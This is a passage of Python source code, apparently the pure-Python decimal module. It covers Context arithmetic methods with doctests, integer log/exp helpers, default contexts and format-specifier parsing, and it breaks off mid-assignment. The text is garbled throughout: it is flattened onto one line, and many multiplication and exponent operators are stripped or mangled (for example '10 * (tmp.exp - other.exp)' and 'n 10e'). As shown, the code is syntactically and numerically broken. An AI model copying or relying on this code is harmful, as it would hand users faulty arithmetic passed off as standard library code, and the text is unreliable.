Decimal('-0') >>> ExtendedContext.quantize(Decimal('-0'), Decimal('1e+5')) Decimal('-0E+5') >>> ExtendedContext.quantize(Decimal('+35236450.6'), Decimal('1e-2')) Decimal('NaN') >>> ExtendedContext.quantize(Decimal('-35236450.6'), Decimal('1e-2')) Decimal('NaN') >>> ExtendedContext.quantize(Decimal('217'), Decimal('1e-1')) Decimal('217.0') >>> ExtendedContext.quantize(Decimal('217'), Decimal('1e-0')) Decimal('217') >>> ExtendedContext.quantize(Decimal('217'), Decimal('1e+1')) Decimal('2.2E+2') >>> ExtendedContext.quantize(Decimal('217'), Decimal('1e+2')) Decimal('2E+2') >>> ExtendedContext.quantize(1, 2) Decimal('1') >>> ExtendedContext.quantize(Decimal(1), 2) Decimal('1') >>> ExtendedContext.quantize(1, Decimal(2)) Decimal('1') """ a = _convert_other(a, raiseit=True) return a.quantize(b, context=self) def radix(self): """Just returns 10, as this is Decimal, :) >>> ExtendedContext.radix() Decimal('10') """ return Decimal(10) def remainder(self, a, b): """Returns the remainder from integer division. The result is the residue of the dividend after the operation of calculating integer division as described for divide-integer, rounded to precision digits if necessary. The sign of the result, if non-zero, is the same as that of the original dividend. This operation will fail under the same conditions as integer division (that is, if integer division on the same two operands would fail, the remainder cannot be calculated). >>> ExtendedContext.remainder(Decimal('2.1'), Decimal('3')) Decimal('2.1') >>> ExtendedContext.remainder(Decimal('10'), Decimal('3')) Decimal('1') >>> ExtendedContext.remainder(Decimal('-10'), Decimal('3')) Decimal('-1') >>> ExtendedContext.remainder(Decimal('10.2'), Decimal('1')) Decimal('0.2') >>> ExtendedContext.remainder(Decimal('10'), Decimal('0.3')) Decimal('0.1') >>> ExtendedContext.remainder(Decimal('3.6'), Decimal('1.3')) Decimal('1.0') >>> ExtendedContext.remainder(22, 6) Decimal('4') >>> ExtendedContext.remainder(Decimal(22), 6) Decimal('4') >>> ExtendedContext.remainder(22, Decimal(6)) Decimal('4') """ a = _convert_other(a, raiseit=True) r = a.__mod__(b, context=self) if r is NotImplemented: raise TypeError("Unable to convert %s to Decimal" % b) else: return r def remainder_near(self, a, b): """Returns to be "a - b n", where n is the integer nearest the exact value of "x / b" (if two integers are equally near then the even one is chosen). If the result is equal to 0 then its sign will be the sign of a. This operation will fail under the same conditions as integer division (that is, if integer division on the same two operands would fail, the remainder cannot be calculated). >>> ExtendedContext.remainder_near(Decimal('2.1'), Decimal('3')) Decimal('-0.9') >>> ExtendedContext.remainder_near(Decimal('10'), Decimal('6')) Decimal('-2') >>> ExtendedContext.remainder_near(Decimal('10'), Decimal('3')) Decimal('1') >>> ExtendedContext.remainder_near(Decimal('-10'), Decimal('3')) Decimal('-1') >>> ExtendedContext.remainder_near(Decimal('10.2'), Decimal('1')) Decimal('0.2') >>> ExtendedContext.remainder_near(Decimal('10'), Decimal('0.3')) Decimal('0.1') >>> ExtendedContext.remainder_near(Decimal('3.6'), Decimal('1.3')) Decimal('-0.3') >>> ExtendedContext.remainder_near(3, 11) Decimal('3') >>> ExtendedContext.remainder_near(Decimal(3), 11) Decimal('3') >>> ExtendedContext.remainder_near(3, Decimal(11)) Decimal('3') """ a = _convert_other(a, raiseit=True) return a.remainder_near(b, context=self) def rotate(self, a, b): """Returns a rotated copy of a, b times. The coefficient of the result is a rotated copy of the digits in the coefficient of the first operand. The number of places of rotation is taken from the absolute value of the second operand, with the rotation being to the left if the second operand is positive or to the right otherwise. >>> ExtendedContext.rotate(Decimal('34'), Decimal('8')) Decimal('400000003') >>> ExtendedContext.rotate(Decimal('12'), Decimal('9')) Decimal('12') >>> ExtendedContext.rotate(Decimal('123456789'), Decimal('-2')) Decimal('891234567') >>> ExtendedContext.rotate(Decimal('123456789'), Decimal('0')) Decimal('123456789') >>> ExtendedContext.rotate(Decimal('123456789'), Decimal('+2')) Decimal('345678912') >>> ExtendedContext.rotate(1333333, 1) Decimal('13333330') >>> ExtendedContext.rotate(Decimal(1333333), 1) Decimal('13333330') >>> ExtendedContext.rotate(1333333, Decimal(1)) Decimal('13333330') """ a = _convert_other(a, raiseit=True) return a.rotate(b, context=self) def same_quantum(self, a, b): """Returns True if the two operands have the same exponent. The result is never affected by either the sign or the coefficient of either operand. >>> ExtendedContext.same_quantum(Decimal('2.17'), Decimal('0.001')) False >>> ExtendedContext.same_quantum(Decimal('2.17'), Decimal('0.01')) True >>> ExtendedContext.same_quantum(Decimal('2.17'), Decimal('1')) False >>> ExtendedContext.same_quantum(Decimal('Inf'), Decimal('-Inf')) True >>> ExtendedContext.same_quantum(10000, -1) True >>> ExtendedContext.same_quantum(Decimal(10000), -1) True >>> ExtendedContext.same_quantum(10000, Decimal(-1)) True """ a = _convert_other(a, raiseit=True) return a.same_quantum(b) def scaleb (self, a, b): """Returns the first operand after adding the second value its exp. >>> ExtendedContext.scaleb(Decimal('7.50'), Decimal('-2')) Decimal('0.0750') >>> ExtendedContext.scaleb(Decimal('7.50'), Decimal('0')) Decimal('7.50') >>> ExtendedContext.scaleb(Decimal('7.50'), Decimal('3')) Decimal('7.50E+3') >>> ExtendedContext.scaleb(1, 4) Decimal('1E+4') >>> ExtendedContext.scaleb(Decimal(1), 4) Decimal('1E+4') >>> ExtendedContext.scaleb(1, Decimal(4)) Decimal('1E+4') """ a = _convert_other(a, raiseit=True) return a.scaleb(b, context=self) def shift(self, a, b): """Returns a shifted copy of a, b times. The coefficient of the result is a shifted copy of the digits in the coefficient of the first operand. The number of places to shift is taken from the absolute value of the second operand, with the shift being to the left if the second operand is positive or to the right otherwise. Digits shifted into the coefficient are zeros. >>> ExtendedContext.shift(Decimal('34'), Decimal('8')) Decimal('400000000') >>> ExtendedContext.shift(Decimal('12'), Decimal('9')) Decimal('0') >>> ExtendedContext.shift(Decimal('123456789'), Decimal('-2')) Decimal('1234567') >>> ExtendedContext.shift(Decimal('123456789'), Decimal('0')) Decimal('123456789') >>> ExtendedContext.shift(Decimal('123456789'), Decimal('+2')) Decimal('345678900') >>> ExtendedContext.shift(88888888, 2) Decimal('888888800') >>> ExtendedContext.shift(Decimal(88888888), 2) Decimal('888888800') >>> ExtendedContext.shift(88888888, Decimal(2)) Decimal('888888800') """ a = _convert_other(a, raiseit=True) return a.shift(b, context=self) def sqrt(self, a): """Square root of a non-negative number to context precision. If the result must be inexact, it is rounded using the round-half-even algorithm. >>> ExtendedContext.sqrt(Decimal('0')) Decimal('0') >>> ExtendedContext.sqrt(Decimal('-0')) Decimal('-0') >>> ExtendedContext.sqrt(Decimal('0.39')) Decimal('0.624499800') >>> ExtendedContext.sqrt(Decimal('100')) Decimal('10') >>> ExtendedContext.sqrt(Decimal('1')) Decimal('1') >>> ExtendedContext.sqrt(Decimal('1.0')) Decimal('1.0') >>> ExtendedContext.sqrt(Decimal('1.00')) Decimal('1.0') >>> ExtendedContext.sqrt(Decimal('7')) Decimal('2.64575131') >>> ExtendedContext.sqrt(Decimal('10')) Decimal('3.16227766') >>> ExtendedContext.sqrt(2) Decimal('1.41421356') >>> ExtendedContext.prec 9 """ a = _convert_other(a, raiseit=True) return a.sqrt(context=self) def subtract(self, a, b): """Return the difference between the two operands. >>> ExtendedContext.subtract(Decimal('1.3'), Decimal('1.07')) Decimal('0.23') >>> ExtendedContext.subtract(Decimal('1.3'), Decimal('1.30')) Decimal('0.00') >>> ExtendedContext.subtract(Decimal('1.3'), Decimal('2.07')) Decimal('-0.77') >>> ExtendedContext.subtract(8, 5) Decimal('3') >>> ExtendedContext.subtract(Decimal(8), 5) Decimal('3') >>> ExtendedContext.subtract(8, Decimal(5)) Decimal('3') """ a = _convert_other(a, raiseit=True) r = a.__sub__(b, context=self) if r is NotImplemented: raise TypeError("Unable to convert %s to Decimal" % b) else: return r def to_eng_string(self, a): """Convert to a string, using engineering notation if an exponent is needed. Engineering notation has an exponent which is a multiple of 3. This can leave up to 3 digits to the left of the decimal place and may require the addition of either one or two trailing zeros. The operation is not affected by the context. >>> ExtendedContext.to_eng_string(Decimal('123E+1')) '1.23E+3' >>> ExtendedContext.to_eng_string(Decimal('123E+3')) '123E+3' >>> ExtendedContext.to_eng_string(Decimal('123E-10')) '12.3E-9' >>> ExtendedContext.to_eng_string(Decimal('-123E-12')) '-123E-12' >>> ExtendedContext.to_eng_string(Decimal('7E-7')) '700E-9' >>> ExtendedContext.to_eng_string(Decimal('7E+1')) '70' >>> ExtendedContext.to_eng_string(Decimal('0E+1')) '0.00E+3' """ a = _convert_other(a, raiseit=True) return a.to_eng_string(context=self) def to_sci_string(self, a): """Converts a number to a string, using scientific notation. The operation is not affected by the context. """ a = _convert_other(a, raiseit=True) return a.__str__(context=self) def to_integral_exact(self, a): """Rounds to an integer. When the operand has a negative exponent, the result is the same as using the quantize() operation using the given operand as the left-hand-operand, 1E+0 as the right-hand-operand, and the precision of the operand as the precision setting; Inexact and Rounded flags are allowed in this operation. The rounding mode is taken from the context. >>> ExtendedContext.to_integral_exact(Decimal('2.1')) Decimal('2') >>> ExtendedContext.to_integral_exact(Decimal('100')) Decimal('100') >>> ExtendedContext.to_integral_exact(Decimal('100.0')) Decimal('100') >>> ExtendedContext.to_integral_exact(Decimal('101.5')) Decimal('102') >>> ExtendedContext.to_integral_exact(Decimal('-101.5')) Decimal('-102') >>> ExtendedContext.to_integral_exact(Decimal('10E+5')) Decimal('1.0E+6') >>> ExtendedContext.to_integral_exact(Decimal('7.89E+77')) Decimal('7.89E+77') >>> ExtendedContext.to_integral_exact(Decimal('-Inf')) Decimal('-Infinity') """ a = _convert_other(a, raiseit=True) return a.to_integral_exact(context=self) def to_integral_value(self, a): """Rounds to an integer. When the operand has a negative exponent, the result is the same as using the quantize() operation using the given operand as the left-hand-operand, 1E+0 as the right-hand-operand, and the precision of the operand as the precision setting, except that no flags will be set. The rounding mode is taken from the context. >>> ExtendedContext.to_integral_value(Decimal('2.1')) Decimal('2') >>> ExtendedContext.to_integral_value(Decimal('100')) Decimal('100') >>> ExtendedContext.to_integral_value(Decimal('100.0')) Decimal('100') >>> ExtendedContext.to_integral_value(Decimal('101.5')) Decimal('102') >>> ExtendedContext.to_integral_value(Decimal('-101.5')) Decimal('-102') >>> ExtendedContext.to_integral_value(Decimal('10E+5')) Decimal('1.0E+6') >>> ExtendedContext.to_integral_value(Decimal('7.89E+77')) Decimal('7.89E+77') >>> ExtendedContext.to_integral_value(Decimal('-Inf')) Decimal('-Infinity') """ a = _convert_other(a, raiseit=True) return a.to_integral_value(context=self) # the method name changed, but we provide also the old one, for compatibility to_integral = to_integral_value class _WorkRep(object): __slots__ = ('sign','int','exp') # sign: 0 or 1 # int: int # exp: None, int, or string def __init__(self, value=None): if value is None: self.sign = None self.int = 0 self.exp = None elif isinstance(value, Decimal): self.sign = value._sign self.int = int(value._int) self.exp = value._exp else: # assert isinstance(value, tuple) self.sign = value[0] self.int = value[1] self.exp = value[2] def __repr__(self): return "(%r, %r, %r)" % (self.sign, self.int, self.exp) __str__ = __repr__ def _normalize(op1, op2, prec = 0): """Normalizes op1, op2 to have the same exp and length of coefficient. Done during addition. """ if op1.exp < op2.exp: tmp = op2 other = op1 else: tmp = op1 other = op2 # Let exp = min(tmp.exp - 1, tmp.adjusted() - precision - 1). # Then adding 10exp to tmp has the same effect (after rounding) # as adding any positive quantity smaller than 10exp; similarly # for subtraction. So if other is smaller than 10exp we replace # it with 10exp. This avoids tmp.exp - other.exp getting too large. tmp_len = len(str(tmp.int)) other_len = len(str(other.int)) exp = tmp.exp + min(-1, tmp_len - prec - 2) if other_len + other.exp - 1 < exp: other.int = 1 other.exp = exp tmp.int = 10 * (tmp.exp - other.exp) tmp.exp = other.exp return op1, op2 ##### Integer arithmetic functions used by ln, log10, exp and __pow__ ##### _nbits = int.bit_length def _decimal_lshift_exact(n, e): """ Given integers n and e, return n * 10*e if it's an integer, else None. The computation is designed to avoid computing large powers of 10 unnecessarily. >>> _decimal_lshift_exact(3, 4) 30000 >>> _decimal_lshift_exact(300, -999999999) # returns None """ if n == 0: return 0 elif e >= 0: return n 10e else: # val_n = largest power of 10 dividing n. str_n = str(abs(n)) val_n = len(str_n) - len(str_n.rstrip('0')) return None if val_n < -e else n // 10-e def _sqrt_nearest(n, a): """Closest integer to the square root of the positive integer n. a is an initial approximation to the square root. Any positive integer will do for a, but the closer a is to the square root of n the faster convergence will be. """ if n <= 0 or a <= 0: raise ValueError("Both arguments to _sqrt_nearest should be positive.") b=0 while a != b: b, a = a, a--n//a>>1 return a def _rshift_nearest(x, shift): """Given an integer x and a nonnegative integer shift, return closest integer to x / 2*shift; use round-to-even in case of a tie. """ b, q = 1 << shift, x >> shift return q + (2(x & (b-1)) + (q&1) > b) def _div_nearest(a, b): """Closest integer to a/b, a and b positive integers; rounds to even in the case of a tie. """ q, r = divmod(a, b) return q + (2r + (q&1) > b) def _ilog(x, M, L = 8): """Integer approximation to Mlog(x/M), with absolute error boundable in terms only of x/M. Given positive integers x and M, return an integer approximation to M * log(x/M). For L = 8 and 0.1 <= x/M <= 10 the difference between the approximation and the exact result is at most 22. For L = 8 and 1.0 <= x/M <= 10.0 the difference is at most 15. In both cases these are upper bounds on the error; it will usually be much smaller.""" # The basic algorithm is the following: let log1p be the function # log1p(x) = log(1+x). Then log(x/M) = log1p((x-M)/M). We use # the reduction # # log1p(y) = 2log1p(y/(1+sqrt(1+y))) # # repeatedly until the argument to log1p is small (< 2-L in # absolute value). For small y we can use the Taylor series # expansion # # log1p(y) ~ y - y2/2 + y3/3 - ... - (-y)T/T # # truncating at T such that yT is small enough. The whole # computation is carried out in a form of fixed-point arithmetic, # with a real number z being represented by an integer # approximation to zM. To avoid loss of precision, the y below # is actually an integer approximation to 2*RyM, where R is the # number of reductions performed so far. y = x-M # argument reduction; R = number of reductions performed R = 0 while (R <= L and abs(y) << L-R >= M or R > L and abs(y) >> R-L >= M): y = _div_nearest((My) << 1, M + _sqrt_nearest(M(M+_rshift_nearest(y, R)), M)) R += 1 # Taylor series with T terms T = -int(-10len(str(M))//(3L)) yshift = _rshift_nearest(y, R) w = _div_nearest(M, T) for k in range(T-1, 0, -1): w = _div_nearest(M, k) - _div_nearest(yshiftw, M) return _div_nearest(wy, M) def _dlog10(c, e, p): """Given integers c, e and p with c > 0, p >= 0, compute an integer approximation to 10p log10(c10e), with an absolute error of at most 1. Assumes that c10*e is not exactly 1.""" # increase precision by 2; compensate for this by dividing # final result by 100 p += 2 # write c10*e as d10*f with either: # f >= 0 and 1 <= d <= 10, or # f <= 0 and 0.1 <= d <= 1. # Thus for c10e close to 1, f = 0 l = len(str(c)) f = e+l - (e+l >= 1) if p > 0: M = 10p k = e+p-f if k >= 0: c = 10k else: c = _div_nearest(c, 10-k) log_d = _ilog(c, M) # error < 5 + 22 = 27 log_10 = _log10_digits(p) # error < 1 log_d = _div_nearest(log_dM, log_10) log_tenpower = fM # exact else: log_d = 0 # error < 2.31 log_tenpower = _div_nearest(f, 10-p) # error < 0.5 return _div_nearest(log_tenpower+log_d, 100) def _dlog(c, e, p): """Given integers c, e and p with c > 0, compute an integer approximation to 10p log(c10e), with an absolute error of at most 1. Assumes that c10*e is not exactly 1.""" # Increase precision by 2. The precision increase is compensated # for at the end with a division by 100. p += 2 # rewrite c10*e as d10f with either f >= 0 and 1 <= d <= 10, # or f <= 0 and 0.1 <= d <= 1. Then we can compute 10p * log(c10e) # as 10p log(d) + 10*pf * log(10). l = len(str(c)) f = e+l - (e+l >= 1) # compute approximation to 10*plog(d), with error < 27 if p > 0: k = e+p-f if k >= 0: c = 10k else: c = _div_nearest(c, 10-k) # error of <= 0.5 in c # _ilog magnifies existing error in c by a factor of at most 10 log_d = _ilog(c, 10p) # error < 5 + 22 = 27 else: # p <= 0: just approximate the whole thing by 0; error < 2.31 log_d = 0 # compute approximation to f10*plog(10), with error < 11. if f: extra = len(str(abs(f)))-1 if p + extra >= 0: # error in f * _log10_digits(p+extra) < \|f\| * 1 = \|f\| # after division, error < \|f\|/10*extra + 0.5 < 10 + 0.5 < 11 f_log_ten = _div_nearest(f_log10_digits(p+extra), 10extra) else: f_log_ten = 0 else: f_log_ten = 0 # error in sum < 11+27 = 38; error after division < 0.38 + 0.5 < 1 return _div_nearest(f_log_ten + log_d, 100) class _Log10Memoize(object): """Class to compute, store, and allow retrieval of, digits of the constant log(10) = 2.302585.... This constant is needed by Decimal.ln, Decimal.log10, Decimal.exp and Decimal.__pow__.""" def __init__(self): self.digits = "23025850929940456840179914546843642076011014886" def getdigits(self, p): """Given an integer p >= 0, return floor(10p)log(10). For example, self.getdigits(3) returns 2302. """ # digits are stored as a string, for quick conversion to # integer in the case that we've already computed enough # digits; the stored digits should always be correct # (truncated, not rounded to nearest). if p < 0: raise ValueError("p should be nonnegative") if p >= len(self.digits): # compute p+3, p+6, p+9, ... digits; continue until at # least one of the extra digits is nonzero extra = 3 while True: # compute p+extra digits, correct to within 1ulp M = 10(p+extra+2) digits = str(_div_nearest(_ilog(10M, M), 100)) if digits[-extra:] != '0'extra: break extra += 3 # keep all reliable digits so far; remove trailing zeros # and next nonzero digit self.digits = digits.rstrip('0')[:-1] return int(self.digits[:p+1]) _log10_digits = _Log10Memoize().getdigits def _iexp(x, M, L=8): """Given integers x and M, M > 0, such that x/M is small in absolute value, compute an integer approximation to Mexp(x/M). For 0 <= x/M <= 2.4, the absolute error in the result is bounded by 60 (and is usually much smaller).""" # Algorithm: to compute exp(z) for a real number z, first divide z # by a suitable power R of 2 so that \|z/2R\| < 2-L. Then # compute expm1(z/2R) = exp(z/2R) - 1 using the usual Taylor # series # # expm1(x) = x + x2/2! + x3/3! + ... # # Now use the identity # # expm1(2x) = expm1(x)(expm1(x)+2) # # R times to compute the sequence expm1(z/2R), # expm1(z/2(R-1)), ... , exp(z/2), exp(z). # Find R such that x/2R/M <= 2-L R = _nbits((x<<L)//M) # Taylor series. (2L)T > M T = -int(-10len(str(M))//(3L)) y = _div_nearest(x, T) Mshift = M<<R for i in range(T-1, 0, -1): y = _div_nearest(x(Mshift + y), Mshift * i) # Expansion for k in range(R-1, -1, -1): Mshift = M<<(k+2) y = _div_nearest(y(y+Mshift), Mshift) return M+y def _dexp(c, e, p): """Compute an approximation to exp(c10e), with p decimal places of precision. Returns integers d, f such that: 10(p-1) <= d <= 10*p, and (d-1)10*f < exp(c10*e) < (d+1)10*f In other words, d10*f is an approximation to exp(c10e) with p digits of precision, and with an error in d of at most 1. This is almost, but not quite, the same as the error being < 1ulp: when d = 10(p-1) the error could be up to 10 ulp.""" # we'll call iexp with M = 10*(p+2), giving p+3 digits of precision p += 2 # compute log(10) with extra precision = adjusted exponent of c10*e extra = max(0, e + len(str(c)) - 1) q = p + extra # compute quotient c10*e/(log(10)) = c10*(e+q)/(log(10)10*q), # rounding down shift = e+q if shift >= 0: cshift = c10shift else: cshift = c//10-shift quot, rem = divmod(cshift, _log10_digits(q)) # reduce remainder back to original precision rem = _div_nearest(rem, 10extra) # error in result of _iexp < 120; error after division < 0.62 return _div_nearest(_iexp(rem, 10p), 1000), quot - p + 3 def _dpower(xc, xe, yc, ye, p): """Given integers xc, xe, yc and ye representing Decimals x = xc10xe and y = yc10ye, compute xy. Returns a pair of integers (c, e) such that: 10(p-1) <= c <= 10p, and (c-1)10e < xy < (c+1)10*e in other words, c10e is an approximation to xy with p digits of precision, and with an error in c of at most 1. (This is almost, but not quite, the same as the error being < 1ulp: when c == 10(p-1) we can only guarantee error < 10ulp.) We assume that: x is positive and not equal to 1, and y is nonzero. """ # Find b such that 10(b-1) <= \|y\| <= 10*b b = len(str(abs(yc))) + ye # log(x) = lxc10*(-p-b-1), to p+b+1 places after the decimal point lxc = _dlog(xc, xe, p+b+1) # compute product ylog(x) = yclxc10*(-p-b-1+ye) = pc10*(-p-1) shift = ye-b if shift >= 0: pc = lxcyc10shift else: pc = _div_nearest(lxcyc, 10-shift) if pc == 0: # we prefer a result that isn't exactly 1; this makes it # easier to compute a correctly rounded result in __pow__ if ((len(str(xc)) + xe >= 1) == (yc > 0)): # if xy > 1: coeff, exp = 10(p-1)+1, 1-p else: coeff, exp = 10p-1, -p else: coeff, exp = _dexp(pc, -(p+1), p+1) coeff = _div_nearest(coeff, 10) exp += 1 return coeff, exp def _log10_lb(c, correction = { '1': 100, '2': 70, '3': 53, '4': 40, '5': 31, '6': 23, '7': 16, '8': 10, '9': 5}): """Compute a lower bound for 100log10(c) for a positive integer c.""" if c <= 0: raise ValueError("The argument to _log10_lb should be nonnegative.") str_c = str(c) return 100len(str_c) - correction[str_c[0]] ##### Helper Functions #################################################### def _convert_other(other, raiseit=False, allow_float=False): """Convert other to Decimal. Verifies that it's ok to use in an implicit construction. If allow_float is true, allow conversion from float; this is used in the comparison methods (__eq__ and friends). """ if isinstance(other, Decimal): return other if isinstance(other, int): return Decimal(other) if allow_float and isinstance(other, float): return Decimal.from_float(other) if raiseit: raise TypeError("Unable to convert %s to Decimal" % other) return NotImplemented def _convert_for_comparison(self, other, equality_op=False): """Given a Decimal instance self and a Python object other, return a pair (s, o) of Decimal instances such that "s op o" is equivalent to "self op other" for any of the 6 comparison operators "op". """ if isinstance(other, Decimal): return self, other # Comparison with a Rational instance (also includes integers): # self op n/d <=> selfd op n (for n and d integers, d positive). # A NaN or infinity can be left unchanged without affecting the # comparison result. if isinstance(other, _numbers.Rational): if not self._is_special: self = _dec_from_triple(self._sign, str(int(self._int) other.denominator), self._exp) return self, Decimal(other.numerator) # Comparisons with float and complex types. == and != comparisons # with complex numbers should succeed, returning either True or False # as appropriate. Other comparisons return NotImplemented. if equality_op and isinstance(other, _numbers.Complex) and other.imag == 0: other = other.real if isinstance(other, float): context = getcontext() if equality_op: context.flags[FloatOperation] = 1 else: context._raise_error(FloatOperation, "strict semantics for mixing floats and Decimals are enabled") return self, Decimal.from_float(other) return NotImplemented, NotImplemented ##### Setup Specific Contexts ############################################ # The default context prototype used by Context() # Is mutable, so that new contexts can have different default values DefaultContext = Context( prec=28, rounding=ROUND_HALF_EVEN, traps=[DivisionByZero, Overflow, InvalidOperation], flags=[], Emax=999999, Emin=-999999, capitals=1, clamp=0 ) # Pre-made alternate contexts offered by the specification # Don't change these; the user should be able to select these # contexts and be able to reproduce results from other implementations # of the spec. BasicContext = Context( prec=9, rounding=ROUND_HALF_UP, traps=[DivisionByZero, Overflow, InvalidOperation, Clamped, Underflow], flags=[], ) ExtendedContext = Context( prec=9, rounding=ROUND_HALF_EVEN, traps=[], flags=[], ) ##### crud for parsing strings ############################################# # # Regular expression used for parsing numeric strings. Additional # comments: # # 1. Uncomment the two '\s' lines to allow leading and/or trailing # whitespace. But note that the specification disallows whitespace in # a numeric string. # # 2. For finite numbers (not infinities and NaNs) the body of the # number between the optional sign and the optional exponent must have # at least one decimal digit, possibly after the decimal point. The # lookahead expression '(?=\d\|\.\d)' checks this. import re _parser = re.compile(r""" # A numeric string consists of: # \s (?P<sign>[-+])? # an optional sign, followed by either... ( (?=\d\|\.\d) # ...a number (with at least one digit) (?P<int>\d) # having a (possibly empty) integer part (\.(?P<frac>\d))? # followed by an optional fractional part (E(?P<exp>[-+]?\d+))? # followed by an optional exponent, or... \| Inf(inity)? # ...an infinity, or... \| (?P<signal>s)? # ...an (optionally signaling) NaN # NaN (?P<diag>\d) # with (possibly empty) diagnostic info. ) # \s \Z """, re.VERBOSE \| re.IGNORECASE).match _all_zeros = re.compile('0$').match _exact_half = re.compile('50$').match ##### PEP3101 support functions ############################################## # The functions in this section have little to do with the Decimal # class, and could potentially be reused or adapted for other pure # Python numeric classes that want to implement __format__ # # A format specifier for Decimal looks like: # # [[fill]align][sign][#][0][minimumwidth][,][.precision][type] _parse_format_specifier_regex = re.compile(r"""\A (?: (?P<fill>.)? (?P<align>[<>=^]) )? (?P<sign>[-+ ])? (?P<alt>\#)? (?P<zeropad>0)? (?P<minimumwidth>(?!0)\d+)? (?P<thousands_sep>,)? (?:\.(?P<precision>0\|(?!0)\d+))? (?P<type>[eEfFgGn%])? \Z """, re.VERBOSE\|re.DOTALL) del re # The locale module is only needed for the 'n' format specifier. The # rest of the PEP 3101 code functions quite happily without it, so we # don't care too much if locale isn't present. try: import locale as _locale except ImportError: pass def _parse_format_specifier(format_spec, _localeconv=None): """Parse and validate a format specifier. Turns a standard numeric format specifier into a dict, with the following entries: fill: fill character to pad field to minimum width align: alignment type, either '<', '>', '=' or '^' sign: either '+', '-' or ' ' minimumwidth: nonnegative integer giving minimum width zeropad: boolean, indicating whether to pad with zeros thousands_sep: string to use as thousands separator, or '' grouping: grouping for thousands separators, in format used by localeconv decimal_point: string to use for decimal point precision: nonnegative integer giving precision, or None type: one of the characters 'eEfFgG%', or None """ m = _parse_format_specifier_regex.match(format_spec) if m is None: raise ValueError("Invalid format specifier: " + format_spec) # get the dictionary format_dict = m.groupdict() # zeropad; defaults for fill and alignment. If zero padding # is requested, the fill and align fields should be absent. fill = format_dict['fill'] align = format_dict['align'] format_dict['zeropad'] = (format_dict['zeropad'] is not None) if format_dict['zeropad']: if fill is not None: raise ValueError("Fill character conflicts with '0'" " in format specifier: " + format_spec) if align is not None: raise ValueError("Alignment conflicts with '0' in " "format specifier: " + format_spec) format_dict['fill'] = fill or ' ' # PEP 3101 originally specified that the default alignment should # be left; it was later agreed that right-aligned makes more sense # for numeric types. See http://bugs.python.org/issue6857. format_dict['align'] = align or '>' # default sign handling: '-' for negative, '' for positive if format_dict['sign'] is None: format_dict['sign'] = '-' # minimumwidth defaults to 0; precision remains None if not given format_dict['minimumwidth'] = int(format_dict['minimumwidth'] or '0') if format_dict['precision'] is not None: format_dict['precision'] = int(format_dict['precision']) # if format type is 'g' or 'G' then a precision of 0 makes little # sense; convert it to 1. Same if format type is unspecified. if format_dict['precision'] == 0: if format_dict['type'] is None or format_dict['type'] in 'gGn': format_dict['precision'] = 1 # determine thousands separator, grouping, and decimal separator, and # add appropriate entries to format_dict if format_dict['type'] == 'n': # apart from separators, 'n' behaves just like 'g' format_dict['type'] = 'g' if _localeconv is None: _localeconv = _locale.localeconv() if format_dict['thousands_sep'] is not None: raise ValueError("Explicit thousands separator conflicts with " "'n' type in format specifier: " + format_spec) format_dict['thousands_sep'] = _localeconv['thousands_sep'] format_dict['grouping'] = _localeconv['grouping'] format_dict['decimal_point'] = _localeconv['decimal_point'] else: if format_dict['thousands_sep'] is None: format_dict['thousands_sep'] = '' format_dict['grouping'] = [3, 0] format_dict['decimal_point'] = '.' return format_dict def _format_align(sign, body, spec): """Given an unpadded, non-aligned numeric string 'body' and sign string 'sign', add padding and alignment conforming to the given format specifier dictionary 'spec' (as produced by parse_format_specifier). """ # how much extra space do we have to play with? minimumwidth = spec['minimumwidth'] fill = spec['fill'] padding = fill(minimumwidth - len(sign) - len(body)) align = spec['align'] if align == '<': result = sign + body + padding elif align == '>': result = padding + sign + body elif align == '=': result = sign + padding + body elif align == '^': half = len(padding)//2 result = padding[:half] + sign + body + padding[half:] else: raise ValueError('Unrecognised alignment field') return result def _group_lengths(grouping): """Convert a localeconv-style grouping into a (possibly infinite) iterable of integers representing group lengths. """ # The result from localeconv()['grouping'], and the input to this # function, should be a list of integers in one of the # following three forms: # # (1) an empty list, or # (2) nonempty list of positive integers + [0] # (3) list of positive integers + [locale.CHAR_MAX], or from itertools import chain, repeat if not grouping: return [] elif grouping[-1] == 0 and len(grouping) >= 2: return chain(grouping[:-1], repeat(grouping[-2])) elif grouping[-1] == _locale.CHAR_MAX: return grouping[:-1] else: raise ValueError('unrecognised format for grouping') def _insert_thousands_sep(digits, spec, min_width=1): """Insert thousands separators into a digit string. spec is a dictionary whose keys should include 'thousands_sep' and 'grouping'; typically it's the result of parsing the format specifier using _parse_format_specifier. The min_width keyword argument gives the minimum length of the result, which will be padded on the left with zeros if necessary. If necessary, the zero padding adds an extra '0' on the left to avoid a leading thousands separator. For example, inserting commas every three digits in '123456', with min_width=8, gives '0,123,456', even though that has length 9. """ sep = spec['thousands_sep'] grouping = spec['grouping'] groups = [] for l in _group_lengths(grouping): if l <= 0: raise ValueError("group length should be positive") # max(..., 1) forces at least 1 digit to the left of a separator l = min(max(len(digits), min_width, 1), l) groups.append('0'(l - len(digits)) + digits[-l:]) digits = digits[:-l] min_width -= l if not digits and min_width <= 0: break min_width -= len(sep) else: l = max(len(digits), min_width, 1) groups.append('0'*(l - len(digits)) + digits[-l:]) return sep.join(reversed(groups)) def _format_sign(is_negative, spec): """Determine sign character.""" if is_negative: return '-' elif spec['sign'] in ' +': return spec['sign'] else: return '' def _format_number(is_negative, intpart, fracpart, exp, spec): """Format a number, given the following data: is_negative: true if the number is negative, else false intpart: string of digits that must appear before the decimal point fracpart: string of digits that must come after the point exp: exponent, as an integer spec: dictionary resulting from parsing the format specifier This function uses the information in spec to: insert separators (decimal separator and thousands separators) format the sign format the exponent add trailing '%' for the '%' type zero-pad if necessary fill and align if necessary """ sign = _format_sign(is_negative, spec) if fracpart or spec['alt']: fracpart = spec['decimal_point'] + fracpart if exp != 0 or spec['type'] in 'eE': echar = {'E': 'E', 'e': 'e', 'G': 'E', 'g': 'e'}[spec['type']] fracpart += "{0}{1:+}".format(echar, exp) if spec['type'] == '%': fracpart += '%' if spec['zeropad']: min_width = spec['minimumwidth'] - len(fracpart) - len(sign) else: min_width = 0 intpart = _insert_thousands_sep(intpart, spec, min_width) return _format_align(sign, intpart+fracpart, spec) ##### Useful Constants (internal use only) ################################ # Reusable defaults _Infinity = Decimal('Inf') _NegativeInfinity = Decimal('-Inf') _NaN = Decimal('NaN') _Zero = Decimal(0) _One = Decimal(1) _NegativeOne = Decimal(-1) # _SignedInfinity[sign] is infinity w/ that sign _SignedInfinity = (_Infinity, _NegativeInfinity) # Constants related to the hash implementation; hash(x) is based # on the reduction of x modulo _PyHASH_MODULUS _PyHASH_MODULUS = 